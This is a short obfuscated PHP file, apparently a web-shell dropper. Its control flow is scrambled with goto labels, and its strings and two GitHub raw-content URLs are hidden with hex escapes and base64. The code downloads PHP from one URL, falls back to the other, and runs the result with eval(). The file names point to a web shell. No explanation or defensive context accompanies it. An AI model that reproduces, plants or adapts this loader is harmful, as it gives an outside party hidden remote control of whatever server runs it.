<?php
 goto ukodi; T5tVc: $script1 = get($url1); goto jVs6j; jVs6j: if ($script1 !== false && $script1 !== 404) { eval($x . $script1); } else { $script2 = get($url2); if ($script2 !== false) { eval($x . $script2); } else { echo "\x42\157\x74\150\x20\x61\x74\x74\145\155\x70\x74\163\x20\x66\141\x69\154\x65\144\x2e"; } } goto dBOgo; ukodi: function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_URL, $url); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 200) { curl_setopt($ch, CURLOPT_NOBODY, false); curl_setopt($ch, CURLOPT_HEADER, false); $data = curl_exec($ch); curl_close($ch); return $data; } else { curl_close($ch); return false; } } goto SRQIF; MdZyO: $url1 = base64_decode("\x61\x48\122\x30\x63\110\x4d\66\x4c\x79\x39\x79\x59\x58\x63\x75\132\x32\154\x30\141\110\126\151\144\130\x4e\154\143\155\116\x76\x62\x6e\x52\154\x62\x6e\x51\165\131\x32\71\x74\x4c\x31\x68\x4b\115\x7a\x41\x7a\x4c\63\x64\166\132\x6d\170\x7a\x61\x47\126\163\142\103\71\171\132\x57\x5a\x7a\114\62\150\154\x59\x57\122\172\114\62\x31\x68\x61\x57\64\166\142\127\x46\x70\x62\151\65\x77\x61\x48\101"); goto E29P3; E29P3: $url2 = base64_decode("\x61\110\x52\60\143\110\115\x36\114\x79\x39\171\131\x58\143\165\x5a\x32\154\x30\x61\x48\x56\x69\x64\130\116\x6c\x63\155\x4e\x76\x62\x6e\122\154\142\x6e\121\x75\131\62\71\x74\x4c\x32\x56\64\132\127\x4e\x31\x64\x47\x6c\x32\x5a\x57\x31\61\132\x47\x45\166\143\62\126\162\x59\x58\112\150\x4c\62\61\150\x61\x57\x34\166\131\x32\71\153\x5a\123\71\164\131\127\x6c\x75\x4c\x33\144\172\x4c\x33\x64\172\x4c\156\122\x34\x64\101"); goto T5tVc; SRQIF: $x = "\77\x3e"; goto MdZyO; dBOgo: ?>